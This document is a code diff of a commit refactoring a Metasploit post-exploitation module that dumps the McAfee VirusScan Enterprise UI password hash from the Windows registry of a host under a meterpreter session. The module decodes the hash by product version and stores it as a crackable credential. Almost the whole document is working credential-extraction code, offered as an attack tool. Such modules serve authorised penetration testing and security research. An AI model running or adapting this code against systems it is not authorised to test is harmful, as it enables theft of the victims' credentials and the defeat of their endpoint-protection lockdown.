|
9 | 9 | require 'rex/proto/rfb'
|
10 | 10 |
|
11 | 11 | class Metasploit3 < Msf::Post
|
12 |
| - |
13 | 12 | include Msf::Post::Windows::Registry
|
14 | 13 | include Msf::Auxiliary::Report
|
15 | 14 | include Msf::Post::Windows::UserProfiles
|
16 | 15 |
|
17 |
| - def initialize(info={}) |
18 |
| - super( update_info( info, |
19 |
| - 'Name' => 'McAfee Virus Scan Enterprise Password Hashes Dump', |
20 |
| - 'Description' => %q{ This module extracts the password |
21 |
| - hash from McAfee Virus Scan Enterprise used to lock down the user interface. |
22 |
| - Credits: Maurizio inode Agazzini}, |
23 |
| - 'License' => MSF_LICENSE, |
24 |
| - 'Author' => [ 'Mike Manzotti <michelemanzotti[at]gmail.com>'], |
25 |
| - 'Platform' => [ 'win' ], |
26 |
| - 'SessionTypes' => [ 'meterpreter' ] |
27 |
| - )) |
| 16 | + VERSION_5 = Gem::Version.new('5.0') |
| 17 | + VERSION_6 = Gem::Version.new('6.0') |
| 18 | + VERSION_8 = Gem::Version.new('8.0') |
| 19 | + VERSION_9 = Gem::Version.new('9.0') |
28 | 20 |
|
| 21 | + def initialize(info = {}) |
| 22 | + super(update_info( |
| 23 | + info, |
| 24 | + 'Name' => 'McAfee Virus Scan Enterprise Password Hashes Dump', |
| 25 | + 'Description' => %q( |
| 26 | + This module extracts the password hash from McAfee Virus Scan |
| 27 | + Enterprise used to lock down the user interface. |
| 28 | + ), |
| 29 | + 'License' => MSF_LICENSE, |
| 30 | + 'Author' => [ |
| 31 | + 'Mike Manzotti <michelemanzotti[at]gmail.com>', # Metasploit module? |
| 32 | + 'Maurizio inode Agazzini' # original research? |
| 33 | + ], |
| 34 | + 'Platform' => [ 'win' ], |
| 35 | + 'SessionTypes' => [ 'meterpreter' ] |
| 36 | + )) |
29 | 37 | end
|
30 | 38 |
|
31 |
| - def run |
32 |
| - print_status("Checking McAfee password hash on #{sysinfo['Computer']} ...") |
33 |
| - |
34 |
| - # Checking if McAfee 64bit can be found in the registry keys |
35 |
| - check_reg = 'HKLM\\Software\\Wow6432Node\\McAfee\\DesktopProtection' |
36 |
| - subkeys = registry_enumkeys(check_reg) |
37 |
| - if subkeys.nil? or subkeys.empty? |
38 |
| - |
39 |
| - # Checking for McAfee 32bit |
40 |
| - check_reg = 'HKLM\\Software\\McAfee\\DesktopProtection' |
41 |
| - subkeys = registry_enumkeys(check_reg) |
42 |
| - if subkeys.nil? or subkeys.empty? |
43 |
| - print_error ("McAfee Not Installed or No Permissions to RegKey") |
44 |
| - return |
| 39 | + def enum_vse_keys |
| 40 | + vprint_status('Enumerating McAfee VSE installations') |
| 41 | + keys = [] |
| 42 | + [ |
| 43 | + 'HKLM\\Software\\Wow6432Node\\McAfee\\DesktopProtection', # 64-bit |
| 44 | + 'HKLM\\Software\\McAfee\\DesktopProtection' # 32-bit |
| 45 | + ].each do |key| |
| 46 | + subkeys = registry_enumkeys(key) |
| 47 | + keys << key unless subkeys.empty? |
| 48 | + end |
| 49 | + keys |
| 50 | + end |
| 51 | + |
| 52 | + def extract_hashes_and_versions(keys) |
| 53 | + vprint_status("Attempting to extract hashes from #{keys.size} McAfee VSE installations") |
| 54 | + hash_map = {} |
| 55 | + keys.each do |key| |
| 56 | + hash = registry_getvaldata(key, "UIPEx") |
| 57 | + if hash.empty? |
| 58 | + vprint_error("No McAfee password hash found in #{key}") |
| 59 | + next |
45 | 60 | end
|
46 |
| - end |
47 |
| - |
48 |
| - mcafee_hash = registry_getvaldata(check_reg, "UIPEx") |
49 |
| - if mcafee_hash == nil or mcafee_hash == "" |
50 |
| - print_error ("Could not find McAfee password hash") |
51 |
| - return |
52 |
| - else |
53 |
| - #Base64 decode mcafee_hash |
54 |
| - mcafee_version = registry_getvaldata(check_reg, "szProductVer") |
55 |
| - if mcafee_version.split(".")[0] == "8" |
56 |
| - mcafee_hash = Rex::Text.to_hex(Rex::Text.decode_base64(mcafee_hash),"") |
57 |
| - print_good("McAfee v8 password hash => #{mcafee_hash}"); |
58 |
| - hashtype = "dynamic_1405" |
59 |
| - elsif mcafee_version.split(".")[0] == "5" |
60 |
| - print_good("McAfee v5 password hash => #{mcafee_hash}"); |
61 |
| - hashtype = "md5u" |
62 |
| - else |
63 |
| - print_status("Could not identify the version of McAfee - Assuming v8") |
64 |
| - end |
65 |
| - |
66 |
| - |
67 |
| - # report |
| 61 | + |
| 62 | + version = registry_getvaldata(key, "szProductVer") |
| 63 | + if version.empty? |
| 64 | + vprint_error("No McAfee version key found in #{key}") |
| 65 | + next |
| 66 | + end |
| 67 | + hash_map[hash] = Gem::Version.new(version) |
| 68 | + end |
| 69 | + hash_map |
| 70 | + end |
| 71 | + |
| 72 | + def process_hashes_and_versions(hashes_and_versions) |
| 73 | + hashes_and_versions.each do |hash, version| |
| 74 | + if version >= VERSION_8 && version < VERSION_9 |
| 75 | + # Base64 decode hash |
| 76 | + hash = Rex::Text.to_hex(Rex::Text.decode_base64(hash), "") |
| 77 | + print_good("McAfee v8 password hash: #{hash}") |
| 78 | + hashtype = 'dynamic_1405' |
| 79 | + elsif version >= VERSION_5 && version < VERSION_6 |
| 80 | + print_good("McAfee v5 password hash: #{hash}") |
| 81 | + hashtype = 'md5u' |
| 82 | + else |
| 83 | + print_warning("Could not identify the version of McAfee - Assuming v8") |
| 84 | + print_good("McAfee v8 password hash: #{hash}") |
| 85 | + hashtype = 'dynamic_1405' |
| 86 | + end |
| 87 | + |
| 88 | + # report |
68 | 89 | service_data = {
|
69 |
| - address: ::Rex::Socket.getaddress(session.sock.peerhost, true), |
70 |
| - port: rport, |
71 |
| - service_name: 'McAfee', |
72 |
| - protocol: 'tcp', |
73 |
| - workspace_id: myworkspace_id |
| 90 | + address: ::Rex::Socket.getaddress(session.sock.peerhost, true), |
| 91 | + port: rport, |
| 92 | + service_name: 'McAfee', |
| 93 | + protocol: 'tcp', |
| 94 | + workspace_id: myworkspace_id |
74 | 95 | }
|
75 |
| - |
| 96 | + |
76 | 97 | # Initialize Metasploit::Credential::Core object
|
77 | 98 | credential_data = {
|
78 |
| - post_reference_name: self.refname, |
79 |
| - origin_type: :session, |
80 |
| - private_type: :password, |
81 |
| - private_data: mcafee_hash, |
82 |
| - session_id: session_db_id, |
83 |
| - jtr_format: hashtype, |
84 |
| - workspace_id: myworkspace_id, |
85 |
| - username: "null" |
86 |
| - } |
87 |
| - |
| 99 | + post_reference_name: refname, |
| 100 | + origin_type: :session, |
| 101 | + private_type: :password, |
| 102 | + private_data: hash, |
| 103 | + session_id: session_db_id, |
| 104 | + jtr_format: hashtype, |
| 105 | + workspace_id: myworkspace_id, |
| 106 | + username: "null" |
| 107 | + } |
| 108 | + |
88 | 109 | # Merge the service data into the credential data
|
89 | 110 | credential_data.merge!(service_data)
|
90 |
| - |
| 111 | + |
91 | 112 | # Create the Metasploit::Credential::Core object
|
92 | 113 | credential_core = create_credential(credential_data)
|
93 | 114 |
|
94 | 115 | # Assemble the options hash for creating the Metasploit::Credential::Login object
|
95 |
| - login_data ={ |
96 |
| - core: credential_core, |
97 |
| - status: Metasploit::Model::Login::Status::UNTRIED |
| 116 | + login_data = { |
| 117 | + core: credential_core, |
| 118 | + status: Metasploit::Model::Login::Status::UNTRIED |
98 | 119 | }
|
99 | 120 |
|
100 |
| - # Merge in the service data and create our Login |
101 |
| - login_data.merge!(service_data) |
102 |
| - login = create_credential_login(login_data) |
103 |
| - |
| 121 | + # Merge in the service data and create our Login |
| 122 | + create_credential_login(login_data.merge!(service_data)) |
| 123 | + end |
| 124 | + end |
| 125 | + |
| 126 | + def run |
| 127 | + print_status("Looking for McAfee password hashes on #{sysinfo['Computer']} ...") |
| 128 | + |
| 129 | + vse_keys = enum_vse_keys |
| 130 | + if vse_keys.empty? |
| 131 | + vprint_error("McAfee Virus Scan Enterprise not installed or insufficient permissions") |
| 132 | + return |
| 133 | + end |
| 134 | + |
| 135 | + hashes_and_versions = extract_hashes_and_versions(vse_keys) |
| 136 | + if hashes_and_versions.empty? |
| 137 | + vprint_error("No hashes extracted") |
| 138 | + return |
104 | 139 | end
|
| 140 | + process_hashes_and_versions(hashes_and_versions) |
105 | 141 | end
|
106 | 142 | end
|
0 commit comments